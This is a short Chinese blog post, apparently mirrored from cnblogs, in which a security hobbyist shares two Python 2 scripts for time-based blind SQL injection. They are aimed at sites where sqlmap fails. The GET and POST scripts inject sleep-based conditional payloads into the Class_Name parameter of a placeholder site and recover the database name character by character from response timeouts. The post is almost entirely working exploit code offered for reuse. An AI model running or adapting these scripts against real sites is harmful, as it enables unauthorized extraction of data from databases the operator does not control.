zoukankan      html  css  js  c++  java
  • 基于时间延迟的Python验证脚本

    自己写的一段Python脚本,经常拿来验证一些sqlmap等工具跑不出数据的网站。

    GET类型:

    import urllib
    import urllib2
    import time
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  } 
    values={}
    print 'Start to retrive database:'
    user= ''
    
    for i in range(1, 15):
    	for payload in payloads:
    		try:
    			values['action']='show'
    			values['page']=1
    			values['Class_Name']="/*'XOR(if(ascii(mid(database()from(%s)for(1)))=%s,sleep(5),0))OR'*/ " %(i,ord(payload))
    			data = urllib.urlencode(values)
    			url = "http://www.xxx.com:80/dmlist.php"
    			geturl = url+'?'+data
    			request = urllib2.Request(geturl,headers=header)
    			response = urllib2.urlopen(request,timeout=5)
    			result=response.read()
    			print '.',
    		except:
    			user += payload
    			print '
    [in progress]', user
    			time.sleep(3.0)
    			break
    

      

    POST类型:

    import urllib
    import urllib2
    import time
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  } 
    values={}
    print 'Start to retrive database:'
    user= ''
    
    for i in range(1, 15):
    	for payload in payloads:
    		try:
    			
    			values['page']=1
    			values['Class_Name']="if(ascii(mid(database(),%s,1))=%s,sleep(3),0) " %(i,ord(payload))
    			data = urllib.urlencode(values)
    			url = "http://www.xxx.com:80/ajaxGetInfoList.do"
    			request = urllib2.Request(url,data,headers=header)
    			response = urllib2.urlopen(request,timeout=5)
    			result=response.read()
    			print '.',
    		except:
    			user += payload
    			print '
    [in progress]', user
    			time.sleep(3.0)
    			break
    

      

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

  • 相关阅读:
    前端把html表格生成为excel表格
    图片预加载
    angular开发中的两大问题
    3d图片点击切换
    图片懒加载
    angular排序
    vue1.0 与 Vue2.0的一些区别 及用法
    图片懒加载
    图片放大镜
    图片小精灵 & 解决同时给一个元素设置背景问题 &jq登录注册切换
  • 原文地址:https://www.cnblogs.com/xiaozi/p/5741596.html
Copyright © 2011-2022 走看看